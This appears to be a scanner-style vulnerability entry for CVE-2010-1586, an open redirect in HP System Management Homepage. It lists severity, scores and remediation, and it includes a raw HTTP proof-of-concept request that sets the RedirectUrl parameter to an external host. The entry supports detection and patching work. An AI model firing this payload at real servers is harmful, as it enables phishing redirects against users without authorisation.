| Title | HP System Management Homepage (SMH) v2.x.x.x - Open Redirect |
|---|---|
| Author | ctflearner |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to potential phishing attacks or the download of malware. |
| Remediation | Apply the latest patches or updates provided by HP to fix the open redirect vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.00524 |
| CVE ID | CVE-2010-1586 |
| CWE ID | CWE-20 |
| Tags | cve cve2010 redirect smh hp vuln |
Open redirect vulnerability in red2301.html in HP System Management Homepage (SMH) 2.x.x.x allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via the RedirectUrl parameter.
GET /red2301.html?RedirectUrl=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2010/CVE-2010-1586.yaml
🦈 Packet Capture: ⬇️ Download cve-2010-1586.pcap
N/AN/A